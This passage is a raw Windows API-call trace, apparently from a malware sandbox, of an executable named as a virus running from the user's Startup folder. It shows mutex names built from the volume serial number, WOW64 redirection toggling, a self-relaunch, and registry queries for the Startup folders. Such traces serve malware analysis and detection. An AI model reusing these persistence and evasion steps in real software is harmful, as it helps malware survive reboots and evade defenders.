0x6a0000 [0156.740] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9ff8 | out: hHeap=0x6a0000) returned 1 [0156.740] GetProcessHeap () returned 0x6a0000 [0156.740] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b3f00 | out: hHeap=0x6a0000) returned 1 [0156.740] GetVersion () returned 0x1db10106 [0156.741] GetCurrentProcess () returned 0xffffffff [0156.741] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x41fb3c | out: TokenHandle=0x41fb3c*=0xa0) returned 1 [0156.741] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x41fb34, TokenInformationLength=0x4, ReturnLength=0x41fb38 | out: TokenInformation=0x41fb34, ReturnLength=0x41fb38) returned 1 [0156.741] CloseHandle (hObject=0xa0) returned 1 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6b3f00 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6b9de0 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6b9ff8 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9de0 | out: hHeap=0x6a0000) returned 1 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9ff8 | out: hHeap=0x6a0000) returned 1 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6b3f50 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6b3f78 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6b3fa0 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6b9de0 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9de0 | out: hHeap=0x6a0000) returned 1 [0156.741] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6b3f78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b3fa0 | out: hHeap=0x6a0000) returned 1 [0156.741] GetProcessHeap () returned 0x6a0000 [0156.741] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b3f50 | out: hHeap=0x6a0000) returned 1 [0156.741] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x41faf4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x41faf4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b3f78 | out: hHeap=0x6a0000) returned 1 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x30) returned 0x6b9de0 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x2a) returned 0x6b9e18 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b9e18, Size=0x52) returned 0x6b9e18 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9de0 | out: hHeap=0x6a0000) returned 1 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e18 | out: hHeap=0x6a0000) returned 1 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6b3f78 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6b3fa0 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6b9df8 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6b9e20 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.742] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6b9e48 [0156.742] GetProcessHeap () returned 0x6a0000 [0156.743] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6ba5e0 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5e0 | out: hHeap=0x6a0000) returned 1 [0156.743] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6b9e20, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e48 | out: hHeap=0x6a0000) returned 1 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9df8 | out: hHeap=0x6a0000) returned 1 [0156.743] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x41fadc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x41fadc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e20 | out: hHeap=0x6a0000) returned 1 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b42d8 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4320 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4320, Size=0x72) returned 0x6afbb0 [0156.743] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x0 [0156.743] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000000") returned 0xa0 [0156.743] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b42d8 | out: hHeap=0x6a0000) returned 1 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6afbb0 | out: hHeap=0x6a0000) returned 1 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6b9df8 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6b9e20 [0156.743] GetProcessHeap () returned 0x6a0000 [0156.743] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6b9e48 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6ba5e0 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5e0 | out: hHeap=0x6a0000) returned 1 [0156.744] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6b9e20, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e48 | out: hHeap=0x6a0000) returned 1 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9df8 | out: hHeap=0x6a0000) returned 1 [0156.744] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x41fac4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x41fac4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e20 | out: hHeap=0x6a0000) returned 1 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b42d8 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3a) returned 0x6b4320 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4320, Size=0x72) returned 0x6afbb0 [0156.744] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0156.744] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xa4 [0156.744] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x0 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b42d8 | out: hHeap=0x6a0000) returned 1 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6afbb0 | out: hHeap=0x6a0000) returned 1 [0156.744] ReleaseMutex (hMutex=0xa4) returned 1 [0156.744] CloseHandle (hObject=0xa4) returned 1 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.744] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20a) returned 0x6ba5e0 [0156.744] GetProcessHeap () returned 0x6a0000 [0156.745] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x6ba7f8 [0156.745] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0156.745] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0156.745] Wow64DisableWow64FsRedirection (in: OldValue=0x41fb38 | out: OldValue=0x41fb38*=0x0) returned 1 [0156.745] GetProcessHeap () returned 0x6a0000 [0156.745] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba7f8 | out: hHeap=0x6a0000) returned 1 [0156.745] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6ba5e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0xa8 [0156.745] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x41fae0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x41fb28 | out: lpCommandLine="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe", lpProcessInformation=0x41fb28*(hProcess=0xa8, hThread=0xa4, dwProcessId=0x6a8, dwThreadId=0x6ac)) returned 1 [0157.031] CloseHandle (hObject=0xa8) returned 1 [0157.031] CloseHandle (hObject=0xa4) returned 1 [0157.031] GetProcessHeap () returned 0x6a0000 [0157.031] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x6bb160 [0157.032] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0157.032] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770fd668 [0157.032] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0157.032] GetProcessHeap () returned 0x6a0000 [0157.032] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb160 | out: hHeap=0x6a0000) returned 1 [0157.032] GetProcessHeap () returned 0x6a0000 [0157.032] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6ba5e0 | out: hHeap=0x6a0000) returned 1 [0157.032] Sleep (dwMilliseconds=0x1388) [0162.490] GetProcessHeap () returned 0x6a0000 [0162.490] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6b9e20 [0162.490] GetProcessHeap () returned 0x6a0000 [0162.490] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6b9e48 [0162.490] GetProcessHeap () returned 0x6a0000 [0162.490] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6b9e70 [0162.490] GetProcessHeap () returned 0x6a0000 [0162.490] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bb160 [0162.490] GetProcessHeap () returned 0x6a0000 [0162.490] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb160 | out: hHeap=0x6a0000) returned 1 [0162.491] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6b9e48, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0162.491] GetProcessHeap () returned 0x6a0000 [0162.491] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e70 | out: hHeap=0x6a0000) returned 1 [0162.491] GetProcessHeap () returned 0x6a0000 [0162.491] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e20 | out: hHeap=0x6a0000) returned 1 [0162.491] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x41fafc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x41fafc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.493] GetProcessHeap () returned 0x6a0000 [0162.493] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e48 | out: hHeap=0x6a0000) returned 1 [0162.493] GetProcessHeap () returned 0x6a0000 [0162.493] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x60) returned 0x6bb160 [0162.493] GetProcessHeap () returned 0x6a0000 [0162.493] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x20) returned 0x6b9e48 [0162.493] GetProcessHeap () returned 0x6a0000 [0162.493] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6b9e20 [0162.493] GetProcessHeap () returned 0x6a0000 [0162.493] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e) returned 0x6b9e70 [0162.493] GetProcessHeap () returned 0x6a0000 [0162.493] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bacd8 [0162.493] GetProcessHeap () returned 0x6a0000 [0162.493] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bacd8 | out: hHeap=0x6a0000) returned 1 [0162.493] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x6b9e20, nSize=0xf | out: lpDst="") returned 0x2c [0162.493] GetProcessHeap () returned 0x6a0000 [0162.493] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e70 | out: hHeap=0x6a0000) returned 1 [0162.493] GetProcessHeap () returned 0x6a0000 [0162.493] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b9e20, Size=0x3a) returned 0x6b4368 [0162.493] GetProcessHeap () returned 0x6a0000 [0162.493] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x3a) returned 0x6b43b0 [0162.493] GetProcessHeap () returned 0x6a0000 [0162.494] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bacd8 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bacd8 | out: hHeap=0x6a0000) returned 1 [0162.494] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x6b4368, nSize=0x1d | out: lpDst="") returned 0x2c [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b43b0 | out: hHeap=0x6a0000) returned 1 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b4368, Size=0x72) returned 0x6afbb0 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x72) returned 0x6afc30 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bacd8 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bacd8 | out: hHeap=0x6a0000) returned 1 [0162.494] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x6afbb0, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6afc30 | out: hHeap=0x6a0000) returned 1 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e48 | out: hHeap=0x6a0000) returned 1 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b4368 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x3e) returned 0x6b43b0 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x3e) returned 0x6b43f8 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bacd8 [0162.494] GetProcessHeap () returned 0x6a0000 [0162.494] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x10) returned 0x6b19a0 [0162.494] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x41fa14 | out: phkResult=0x41fa14*=0xa8) returned 0x0 [0162.495] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x41fa10, lpData=0x6b43f8, lpcbData=0x41fa18*=0x3e | out: lpType=0x41fa10*=0x2, lpData=0x6b43f8*=0x41, lpcbData=0x41fa18*=0x98) returned 0xea [0162.495] RegCloseKey (hKey=0xa8) returned 0x0 [0162.495] GetProcessHeap () returned 0x6a0000 [0162.495] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b19a0 | out: hHeap=0x6a0000) returned 1 [0162.495] GetProcessHeap () returned 0x6a0000 [0162.495] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bacd8 | out: hHeap=0x6a0000) returned 1 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b43f8 | out: hHeap=0x6a0000) returned 1 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b43b0, Size=0x7a) returned 0x6bb1c8 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x7a) returned 0x6bacd8 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6bad60 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x10) returned 0x6b19a0 [0162.496] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x41fa14 | out: phkResult=0x41fa14*=0xa8) returned 0x0 [0162.496] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x41fa10, lpData=0x6bacd8, lpcbData=0x41fa18*=0x7a | out: lpType=0x41fa10*=0x2, lpData=0x6bacd8*=0xe0, lpcbData=0x41fa18*=0x98) returned 0xea [0162.496] RegCloseKey (hKey=0xa8) returned 0x0 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b19a0 | out: hHeap=0x6a0000) returned 1 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bad60 | out: hHeap=0x6a0000) returned 1 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bacd8 | out: hHeap=0x6a0000) returned 1 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6bb1c8, Size=0xf2) returned 0x6bacd8 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xf2) returned 0x6badd8 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6baed8 [0162.496] GetProcessHeap () returned 0x6a0000 [0162.496] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x10) returned 0x6b19a0 [0162.497] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x41fa14 | out: phkResult=0x41fa14*=0xa8) returned 0x0 [0162.497] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x41fa10, lpData=0x6badd8, lpcbData=0x41fa18*=0xf2 | out: lpType=0x41fa10*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x41fa18*=0x98) returned 0x0 [0162.497] RegCloseKey (hKey=0xa8) returned 0x0 [0162.497] GetProcessHeap () returned 0x6a0000 [0162.497] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b19a0 | out: hHeap=0x6a0000) returned 1 [0162.497] GetProcessHeap () returned 0x6a0000 [0162.497] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x1e) returned 0x6b9e48 [0162.498] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x41fa14 | out: phkResult=0x41fa14*=0xa8) returned 0x0 [0162.498] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x41fa10, lpData=0x6bae70, lpcbData=0x41fa18*=0x5a | out: lpType=0x41fa10*=0x0, lpData=0x6bae70*=0x50, lpcbData=0x41fa18*=0x5a) returned 0x2 [0162.498] RegCloseKey (hKey=0xa8) returned 0x0 [0162.498] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x41fa28 | out: phkResult=0x41fa28*=0xa8) returned 0x0 [0162.498] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x41fa24, lpData=0x6bae70, lpcbData=0x41fa2c*=0x5a | out: lpType=0x41fa24*=0x2, lpData=0x6bae70*=0x50, lpcbData=0x41fa2c*=0x78) returned 0xea [0162.498] RegCloseKey (hKey=0xa8) returned 0x0 [0162.498] GetProcessHeap () returned 0x6a0000 [0162.498] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b9e48 | out: hHeap=0x6a0000) returned 1 [0162.498] GetProcessHeap () returned 0x6a0000 [0162.499] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6baed8 | out: hHeap=0x6a0000) returned 1 [0162.499] GetProcessHeap () returned 0x6a0000 [0162.499] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6badd8 | out: hHeap=0x6a0000) returned 1 [0162.499] GetProcessHeap () returned 0x6a0000 [0162.499] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6bacd8, Size=0x1e2) returned 0x6bacd8 [0162.499] GetProcessHeap () returned 0x6a0000 [0162.499] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1e2) returned 0x6ba5e0 [0162.499] GetProcessHeap () returned 0x6a0000 [0162.499] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x90) returned 0x6baec8 [0162.499] GetProcessHeap () returned 0x6a0000 [0162.499] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x8, Size=0x10) returned 0x6b19a0 [0162.499] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x41fa14 | out: phkResult=0x41fa14*=0xa8) returned 0x0 [0162.499] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x41fa10, lpData=0x6ba5e0, lpcbData=0x41fa18*=0x1e2 | out: lpType=0x41fa10*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x41fa18*=0x98) returned 